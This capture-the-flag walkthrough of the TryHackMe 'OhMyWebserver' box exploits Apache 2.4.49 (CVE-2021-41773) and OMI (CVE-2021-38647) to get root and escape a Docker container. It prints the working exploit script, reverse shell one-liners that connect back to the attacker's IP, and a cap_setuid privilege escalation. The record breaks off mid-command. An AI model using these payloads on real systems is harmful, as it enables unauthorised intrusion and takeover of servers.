Intro

THM: OhMyWebserver is a medium difficulty linux box that presents a fun set of challenges. We’ll exploit multiple CVEs to get remote code executions. There are multiple layers of privilege escalation, as the initial target is a docker container. Let’s get started!

Recon

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/OhMyWebserver]
└─$ sudo rustscan -a 10.10.218.169 -- -sV -oA nmap1                                                        130 ⨯

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.49 ((Unix))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On port 80 there is a basic corporate webpage. None of the links work and there doesn’t appear to be anything obviously useful on the page or in the source at first glance.

We can do some content scanning to try and discovery additional pages/endpoints.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/OhMyWebserver]
└─$ ffuf -t 80 -u http://10.10.218.169/FUZZ -w /usr/share/wordlists/dirb/big.txt -c

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.218.169/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 80
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

.htpasswd               [Status: 403, Size: 199, Words: 14, Lines: 8]
.htaccess               [Status: 403, Size: 199, Words: 14, Lines: 8]
assets                  [Status: 301, Size: 234, Words: 14, Lines: 8]
cgi-bin/                [Status: 403, Size: 199, Words: 14, Lines: 8]

Let’s also search for exploits for this version of Apache.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/OhMyWebserver]
└─$ searchsploit apache 2.4.49
----------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                               |  Path
----------------------------------------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution              | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner            | php/remote/29316.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service                          | multiple/dos/26710.txt
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)     | multiple/webapps/50383.sh
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow         | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)   | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)   | unix/remote/47080.c
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal          | linux/webapps/39642.txt
Apache Tomcat < 5.5.17 - Remote Directory Listing                            | multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal                          | unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)                    | multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload By | jsp/webapps/42966.py
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload By | windows/webapps/42953.txt
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)                 | linux/dos/36906.txt
Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execu | linux/remote/34.pl
----------------------------------------------------------------------------- ---------------------------------

Uh oh! There is a path traversal and RCE exploit for CVE-2021-41773 which this version of Apache is vulnerable to. We can searchsploit -m 50383 to copy it and open it up to see what it does.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/OhMyWebserver]
└─$ cat 50383.sh    
# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl --proxy http://192.168.72.1:8080 -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami

We can make a few edits to simply this. The first few lines were causing errors for me, but they’re not absolutely necessary and can be removed. I’ll also remove the --proxy attribute from the curl command for now. The final code should look like this:

# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami

Initial Foothold

Now it’s time to test the exploit. To start we’ll need to echo "10.10.218.169" > target.txt as the script is expecting the first argument to be a file containing one or more targets.

Run chmod +x 50383.sh to make it executable.

And we’re ready to go!

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/OhMyWebserver]
└─$ ./50383.sh target.txt /bin/sh id
10.10.218.169
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Bam! We have code execution.

With a bit of experimentation of various revere shell payloads, we’ll see the “bash 5” method works. We can open a listener in a new terminal window with nc -nlvp 4444 and then launch a shell with the following:

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/OhMyWebserver]
└─$ ./50383.sh target.txt /bin/bash "/bin/bash -i 5<> /dev/tcp/10.13.17.127/4444 0<&5 1>&5 2>&5"

And with a little bash magic we can upgrade ourselves to fully interactive TTY shell with tab autocomplete and everything we need for a more comfortable hacking experience. 😛

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/OhMyWebserver]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.218.169] 34898
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
daemon@4a70924bafa0:/bin$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
daemon@4a70924bafa0:/bin$ ^Z
zsh: suspended  nc -nlvp 4444
                                                                                                               
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/OhMyWebserver]
└─$ stty -a                                                                                          148 ⨯ 1 ⚙
speed 38400 baud; rows 34; columns 111; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>;
start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk brkint ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany imaxbel -iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc
                                                                                                               
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/OhMyWebserver]
└─$ stty raw -echo; fg                                                                                     1 ⚙
[1]  + continued  nc -nlvp 4444
                               export SHELL=bash
daemon@4a70924bafa0:/bin$ stty rows 70 columns 111
daemon@4a70924bafa0:/bin$ export TERM=xterm-256color
daemon@4a70924bafa0:/bin$

User Flag

After enumerating the box for a while there are a few clues that point our being inside a docker container.

/etc/passwd shows no users with login shells besides root, including our current daemon user. There is a /.dockerenv file in the root, although it is empty.

We can run linpeas for help with further enumeration. Since we can’t access the Internet from the target we can instead transfer it directly by running python3 -m http.server 8888 to serve it locally over HTTP.

daemon@4a70924bafa0:/tmp$ which wget
daemon@4a70924bafa0:/tmp$ which curl
/usr/bin/curl
daemon@4a70924bafa0:/tmp$ curl http://10.13.17.127:8888/linpeas.sh -o linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  321k  100  321k    0     0   210k      0  0:00:01  0:00:01 --:--:--  210k
daemon@4a70924bafa0:/tmp$ chmod +x linpeas.sh
daemon@4a70924bafa0:/tmp$ ./linpeas.sh

Linpeas will confirm we are in a container and also tells us that python3 has the cap_setuid capability. With this we can write a simple python script to escalate our privileges to root within the container.

daemon@4a70924bafa0:/tmp$ echo "import os" > root.py
daemon@4a70924bafa0:/tmp$ echo "os.setuid(0)" >> root.py
daemon@4a70924bafa0:/tmp$ echo "os.system('/bin/bash')" >> root.py

daemon@4a70924bafa0:/tmp$ cat root.py
import os
os.setuid(0)
os.system('/bin/bash')

daemon@4a70924bafa0:/tmp$ python3 root.py
root@4a70924bafa0:/tmp# id
uid=0(root) gid=1(daemon) groups=1(daemon)
 
root@4a70924bafa0:/tmp# cd /root
root@4a70924bafa0:/root# ls -la
total 28
drwx------ 1 root root   4096 Oct  8  2021 .
drwxr-xr-x 1 root root   4096 Feb 23 06:21 ..
lrwxrwxrwx 1 root root      9 Oct  8  2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root    570 Jan 31  2010 .bashrc
drwxr-xr-x 3 root root   4096 Oct  8  2021 .cache
-rw-r--r-- 1 root root    148 Aug 17  2015 .profile
-rw------- 1 root daemon   12 Oct  8  2021 .python_history
-rw-r--r-- 1 root root     38 Oct  8  2021 user.txt

root@4a70924bafa0:/root# wc -c user.txt 
38 user.txt

🏁 And we have the user flag!

Container Escape

Our last challenge will be to escape the container, since rooting the container only gives us the user flag.

ifconfig shows we are connected to a network on the eth0 interface which is the docker network.

We can run an ARP scan with arp -a to discover other hosts on the network.

daemon@4a70924bafa0:/tmp$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 18311  bytes 22209724 (21.1 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 207739  bytes 12209909 (11.6 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

daemon@4a70924bafa0:/tmp$ arp -a
ip-172-17-0-1.eu-west-1.compute.internal (172.17.0.1) at 02:42:8b:52:a0:23 [ether] on eth0

We’ve found one other host at 172.17.0.1 which is our host machine and new target.

Next we’ll want to port scan it to see what, if any, services are open. To do this we’ll need to download a statically linked nmap binary and transfer it to the target using the same python HTTP server method we used earlier for linpeas.

(The nmap binary that comes with Kali is dynamically linked and will not be able to execute on the target since it lacks some dependencies.)

root@4a70924bafa0:/tmp# ./nmap -Pn -p- 172.17.0.1 --min-rate 5000

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2022-07-23 15:01 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for ip-172-17-0-1.eu-west-1.compute.internal (172.17.0.1)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (-0.0093s latency).
Not shown: 65531 filtered ports
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   open   http
5985/tcp closed unknown
5986/tcp open   unknown
MAC Address: 02:42:8B:52:A0:23 (Unknown)

That open port 5986 is for Microsoft’s Open Management Infastructure (OMI) service for remote configuration management of *nix VMs in Azure. Our host must be a simulation of an Azure Linux VM.

There is a CVE for an unauthenticated RCE, and a public exploit for OMI we can test.

Again, we’ll need to download the exploit file (the python script) locally first and then transfer it to the target.

From there we can run exploit and we have RCE on the host!

root@4a70924bafa0:/tmp# python3 alteredsecurity.py -t 172.17.0.1 -p 5986 -c id
uid=0(root) gid=0(root) groups=0(root)

Using the OMI exploit we can escape the container by sending ourselves a new reverse shell from the host.

root@4a70924bafa0:/tmp# python3 alteredsecurity.py -t 172.17.0.1 -p 5986 -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.13.17.127 5555 >/tmp/f"

And when we catch it, we can capture the root flag!

┌──(brian㉿kali)-[/opt/exploits/CVE-2021-38647]
└─$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.218.169] 59160
bash: cannot set terminal process group (1830): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/var/opt/microsoft/scx/tmp# id; uname -a
id; uname -a
uid=0(root) gid=0(root) groups=0(root)
Linux ubuntu 5.4.0-88-generic #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

root@ubuntu:/var/opt/microsoft/scx/tmp# cd /root  
cd /root
root@ubuntu:/root# ls -la
ls -la
total 56
drwx------  5 root root  4096 Feb 23 05:20 .
drwxr-xr-x 20 root root  4096 Sep 30  2021 ..
-rw-------  1 root root   169 Oct  8  2021 .bash_history
-rw-r--r--  1 root root  3106 Dec  5  2019 .bashrc
drwxr-xr-x  3 root root  4096 Feb 23 05:20 .local
-rw-r--r--  1 root root   161 Dec  5  2019 .profile
-rw-------  1 root root  1024 Sep 30  2021 .rnd
drwx------  2 root root  4096 Sep 30  2021 .ssh
-rw-------  1 root root 12125 Oct  8  2021 .viminfo
-rw-r--r--  1 root root   277 Oct  8  2021 .wget-hsts
-rw-r--r--  1 root root    38 Oct  8  2021 root.txt
drwxr-xr-x  3 root root  4096 Sep 30  2021 snap

root@ubuntu:/root# wc -c root.txt
wc -c root.t